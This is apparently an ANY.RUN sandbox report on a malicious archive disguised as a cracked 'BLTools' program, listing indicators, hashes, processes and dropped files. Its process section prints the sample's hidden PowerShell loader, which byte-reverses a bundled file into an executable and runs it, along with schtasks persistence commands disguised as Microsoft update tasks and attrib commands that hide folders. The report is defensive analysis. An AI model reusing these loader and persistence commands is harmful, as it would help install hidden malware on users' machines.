File name:

BLTools [Crax.Pro - Crax.Tube].7z

Full analysis: https://app.any.run/tasks/70687aae-5780-425a-8a8a-00588402be15
Verdict: Malicious activity
Analysis date: March 20, 2022, 23:01:07
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-7z-compressed
File info: 7-zip archive data, version 0.4
MD5:

2E76009B3A4F231C47C6DFB8134085B0

SHA1:

D7343BC3950AA1BE57359D160E28D5F095BC2F3E

SHA256:

789A136852CA4ED40D77A6E8022456E945A9230B43CD9EADA793D6E62867D78F

SSDEEP:

12288:ltDgpzt5ULsYOCcRPtza5DjbDbTMaCwnSTeEc99ch3dg9Ij7B:z8hrULsjCK9aBjXbTMaCwnSFc99I3dgQ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 3764)
      • A1.exe (PID: 1572)
      • A1.exe (PID: 3172)

    • Application was dropped or rewritten from another process

      • [Cracked By Grizzly] BLTools.exe (PID: 3552)
      • [Cracked By Grizzly] BLTools.exe (PID: 2236)
      • A1.exe (PID: 1572)
      • [Cracked By Grizzly] BLTools.exe (PID: 3624)
      • [Cracked By Grizzly] BLTools.exe (PID: 3800)
      • A1.exe (PID: 3172)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2608)
      • schtasks.exe (PID: 2780)
      • schtasks.exe (PID: 120)
      • schtasks.exe (PID: 664)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 1508)
      • cmd.exe (PID: 3264)

    • Runs app for hidden code execution

      • powershell.exe (PID: 1360)
      • powershell.exe (PID: 1344)

    • Executes PowerShell scripts

      • cmd.exe (PID: 1508)
      • cmd.exe (PID: 3264)

  • SUSPICIOUS

    • Drops a file with a compile date too recent

      • WinRAR.exe (PID: 3848)
      • powershell.exe (PID: 1360)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 3848)
      • powershell.exe (PID: 1360)

    • Checks supported languages

      • WinRAR.exe (PID: 3848)
      • [Cracked By Grizzly] BLTools.exe (PID: 2236)
      • powershell.exe (PID: 1360)
      • powershell.exe (PID: 3256)
      • powershell.exe (PID: 3292)
      • cmd.exe (PID: 1508)
      • powershell.exe (PID: 3128)
      • powershell.exe (PID: 2260)
      • A1.exe (PID: 1572)
      • [Cracked By Grizzly] BLTools.exe (PID: 3800)
      • powershell.exe (PID: 1344)
      • A1.exe (PID: 3172)
      • cmd.exe (PID: 3264)
      • powershell.exe (PID: 2588)
      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 3776)
      • powershell.exe (PID: 1972)

    • Reads the computer name

      • WinRAR.exe (PID: 3848)
      • [Cracked By Grizzly] BLTools.exe (PID: 2236)
      • powershell.exe (PID: 1360)
      • powershell.exe (PID: 3256)
      • powershell.exe (PID: 3292)
      • powershell.exe (PID: 2260)
      • powershell.exe (PID: 3128)
      • A1.exe (PID: 1572)
      • [Cracked By Grizzly] BLTools.exe (PID: 3800)
      • A1.exe (PID: 3172)
      • powershell.exe (PID: 1344)
      • powershell.exe (PID: 3776)
      • powershell.exe (PID: 2588)
      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 1972)

    • Executes PowerShell scripts

      • [Cracked By Grizzly] BLTools.exe (PID: 2236)
      • [Cracked By Grizzly] BLTools.exe (PID: 3800)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 1360)
      • powershell.exe (PID: 1344)

    • Drops a file that was compiled in debug mode

      • WinRAR.exe (PID: 3848)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 1508)
      • cmd.exe (PID: 3264)

  • INFO

    • Manual execution by user

      • [Cracked By Grizzly] BLTools.exe (PID: 2236)
      • [Cracked By Grizzly] BLTools.exe (PID: 3552)
      • [Cracked By Grizzly] BLTools.exe (PID: 3624)
      • [Cracked By Grizzly] BLTools.exe (PID: 3800)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 1360)
      • powershell.exe (PID: 3256)
      • powershell.exe (PID: 3292)
      • powershell.exe (PID: 2260)
      • powershell.exe (PID: 3128)
      • powershell.exe (PID: 1344)
      • powershell.exe (PID: 2588)
      • powershell.exe (PID: 3776)
      • powershell.exe (PID: 1972)
      • powershell.exe (PID: 1672)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3256)
      • powershell.exe (PID: 3292)
      • powershell.exe (PID: 2588)
      • powershell.exe (PID: 3776)

    • Checks supported languages

      • schtasks.exe (PID: 2608)
      • attrib.exe (PID: 2976)
      • schtasks.exe (PID: 2780)
      • attrib.exe (PID: 1088)
      • attrib.exe (PID: 3332)
      • schtasks.exe (PID: 120)
      • schtasks.exe (PID: 664)
      • attrib.exe (PID: 3480)

    • Reads the computer name

      • schtasks.exe (PID: 2608)
      • schtasks.exe (PID: 2780)
      • schtasks.exe (PID: 120)
      • schtasks.exe (PID: 664)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.7z | 7-Zip compressed archive (v0.4) (57.1)
.7z | 7-Zip compressed archive (gen) (42.8)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
76
Monitored processes
28
Malicious processes
9
Suspicious processes
9

Behavior graph

Click at the process to see the details
start drop and start winrar.exe searchprotocolhost.exe no specs [cracked by grizzly] bltools.exe no specs [cracked by grizzly] bltools.exe powershell.exe cmd.exe no specs powershell.exe no specs powershell.exe no specs schtasks.exe no specs schtasks.exe no specs attrib.exe no specs attrib.exe no specs powershell.exe no specs powershell.exe no specs a1.exe [cracked by grizzly] bltools.exe no specs [cracked by grizzly] bltools.exe powershell.exe no specs a1.exe cmd.exe no specs powershell.exe no specs powershell.exe no specs schtasks.exe no specs schtasks.exe no specs attrib.exe no specs attrib.exe no specs powershell.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
120schtasks /create /sc minute /mo 1 /tn "Microsoft\MicrosoftEdgeUpdates\EdgeUpdate" /tr "C:\Users\admin\AppData\Roaming\MicrosoftEdgeUpdates\MicrosoftEdgeUpdates.exe" /RL HIGHEST /fC:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\schtasks.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
664schtasks /create /sc minute /mo 1 /tn "Microsoft\SystemUpdates\SysUpdate" /tr "C:\Users\admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe" /RL HIGHEST /fC:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\msvcrt.dll
1088attrib +h +s C:\Users\admin\AppData\Roaming\MicrosoftEdgeUpdatesC:\Windows\system32\attrib.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\attrib.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ulib.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1344"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName Microsoft.VisualBasic [String] $Config_Path = 'config\config' [String] $Tool_Path = 'config\config\Rev.exe' try { if ([System.IO.File]::Exists($Config_Path + '\A1.exe') -eq $true) { [System.Diagnostics.Process]::Start($Config_Path + '\A1.exe') } [String[]] $PSCommands = @('@shift /0', '@echo off', '@setlocal enableextensions', '@cd /d "%~dp0"', 'config\Config.bat') [System.Diagnostics.Process] $Proc = New-Object System.Diagnostics.Process [System.Diagnostics.ProcessStartInfo] $StartInfo = New-Object System.Diagnostics.ProcessStartInfo $StartInfo.FileName = 'cmd.exe' $StartInfo.RedirectStandardInput = $true $StartInfo.UseShellExecute = $false $StartInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden $StartInfo.CreateNoWindow = $true $Proc.StartInfo = $StartInfo $Proc.Start() [System.IO.StreamWriter] $SW = $Proc.StandardInput if ($SW.BaseStream.CanWrite -eq $true) { $SW.WriteLine($PSCommands[0]) $SW.WriteLine($PSCommands[1]) $SW.WriteLine($PSCommands[2]) $SW.WriteLine($PSCommands[3]) $SW.WriteLine($PSCommands[4]) } [System.Threading.Thread]::Sleep(3000) if ([System.IO.File]::Exists($Tool_Path) -eq $true) { [Byte[]] $Rev_Bytes = [System.IO.File]::ReadAllBytes($Tool_Path) [Array]::Reverse($Rev_Bytes) [System.IO.FileStream] $FS = [System.IO.File]::Create($Config_Path + '\A1.exe') $FS.Write($Rev_Bytes, 0, $Rev_Bytes.Length) $FS.Close() $FS.Dispose() [System.IO.File]::Delete($Tool_Path) [System.Diagnostics.Process]::Start($Config_Path + '\A1.exe') } } catch { }C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—[Cracked By Grizzly] BLTools.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1360"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName Microsoft.VisualBasic [String] $Config_Path = 'config\config' [String] $Tool_Path = 'config\config\Rev.exe' try { if ([System.IO.File]::Exists($Config_Path + '\A1.exe') -eq $true) { [System.Diagnostics.Process]::Start($Config_Path + '\A1.exe') } [String[]] $PSCommands = @('@shift /0', '@echo off', '@setlocal enableextensions', '@cd /d "%~dp0"', 'config\Config.bat') [System.Diagnostics.Process] $Proc = New-Object System.Diagnostics.Process [System.Diagnostics.ProcessStartInfo] $StartInfo = New-Object System.Diagnostics.ProcessStartInfo $StartInfo.FileName = 'cmd.exe' $StartInfo.RedirectStandardInput = $true $StartInfo.UseShellExecute = $false $StartInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden $StartInfo.CreateNoWindow = $true $Proc.StartInfo = $StartInfo $Proc.Start() [System.IO.StreamWriter] $SW = $Proc.StandardInput if ($SW.BaseStream.CanWrite -eq $true) { $SW.WriteLine($PSCommands[0]) $SW.WriteLine($PSCommands[1]) $SW.WriteLine($PSCommands[2]) $SW.WriteLine($PSCommands[3]) $SW.WriteLine($PSCommands[4]) } [System.Threading.Thread]::Sleep(3000) if ([System.IO.File]::Exists($Tool_Path) -eq $true) { [Byte[]] $Rev_Bytes = [System.IO.File]::ReadAllBytes($Tool_Path) [Array]::Reverse($Rev_Bytes) [System.IO.FileStream] $FS = [System.IO.File]::Create($Config_Path + '\A1.exe') $FS.Write($Rev_Bytes, 0, $Rev_Bytes.Length) $FS.Close() $FS.Dispose() [System.IO.File]::Delete($Tool_Path) [System.Diagnostics.Process]::Start($Config_Path + '\A1.exe') } } catch { }C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[Cracked By Grizzly] BLTools.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1508"cmd.exe"C:\Windows\system32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1572"C:\Users\admin\Desktop\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\config\A1.exe" C:\Users\admin\Desktop\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\config\A1.exe
powershell.exe
User:
admin
Integrity Level:
HIGH
Description:
BLTools
Exit code:
3762504530
Version:
1.5.2.0
Modules
Images
c:\users\admin\desktop\bltools [crax.pro - crax.tube]\bltools\config\config\a1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
1672powershell.exe -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File CopyTo.PS1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1972powershell.exe -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File C2.PS1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2236"C:\Users\admin\Desktop\BLTools [Crax.Pro - Crax.Tube]\BLTools\[Cracked By Grizzly] BLTools.exe" C:\Users\admin\Desktop\BLTools [Crax.Pro - Crax.Tube]\BLTools\[Cracked By Grizzly] BLTools.exe
Explorer.EXE
User:
admin
Integrity Level:
HIGH
Description:
[Cracked By Grizzly] BLTools
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\desktop\bltools [crax.pro - crax.tube]\bltools\[cracked by grizzly] bltools.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
Total events
20 777
Read events
20 595
Write events
182
Delete events
0

Modification events

(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3848) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\BLTools [Crax.Pro - Crax.Tube].7z
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(3848) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
Executable files
8
Suspicious files
20
Text files
10
Unknown types
2

Dropped files

PID
Process
Filename
Type
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\Config.battext
MD5:443439B6D74924824B35EE2FE65AF7E7
SHA256:74D98354B2CF545581931FEF42A42E8FC3298B236F6536CC31FA821F31B4E6DA
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\System\C2.ps1text
MD5:F686AF0C71099697B9E3CDB67DAFDE71
SHA256:B64E5111B381CF66FD84AAF59EA503ADF737C620EF550363466CE15822F52743
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\System\CopyTo.PS1text
MD5:4CAD39A3C49A131B8D172FCA8259F2FA
SHA256:2273FF44DD60F9EF1A13A1867355B8181C6FBD2B8EF2F8D0EF426538C841DD7E
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\config\ServicesSettings.initext
MD5:B4E59BFE8C3B8976879A8650437874F9
SHA256:6FB6F51FCD89497E2756B3040B75EE7D92052387AD9EFFCE4C0BA5C92B24BBA0
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\System\dll.battext
MD5:CC9E4575D3FFCECDF2FC09252658E1F3
SHA256:B08783CC29A461948D3B37E1BAF24BEB9BA0F1288E60FB7E526C0DBA3859995E
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\config\Extreme.Net.dllexecutable
MD5:F79F0E3A0361CAC000E2D3553753CD68
SHA256:8A6518AB7419FBEC3AC9875BAA3AFB410AD1398C7AA622A09CD9084EC6CADFCD
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\config\Rev.exegmc
MD5:EAE6B20CF7C951CB03D63E56EB59A626
SHA256:C994D6226F40D3D44B4E42E47A874F46DD90CAF0146041364D3BECC6E113F0D6
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\config\config\Ookii.Dialogs.Wpf.dllexecutable
MD5:932EBB3F9E7113071C6A17818342B7CC
SHA256:285AA8225732DDBCF211B1158BD6CFF8BF3ACBEEAB69617F4BE85862B7105AB5
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\MetroFramework.dlltext
MD5:49D4D5D6956382B9819DE141ABA57867
SHA256:439FD4D2D346FD1D19978BF45CF85C7F00767C935313916BD72BB60F2A6D1C0D
3848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3848.43660\BLTools [Crax.Pro - Crax.Tube]\BLTools\[Cracked By Grizzly] BLTools.exeexecutable
MD5:254BF4DBA55F0A9BF9ACB16F57C16A49
SHA256:FE32CE66E38CBC0AB32E6834CFF1DD168F5B32E192621E9D0666C5ADE7572F80
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
BLTools [Crax.Pro - Crax.Tube].7z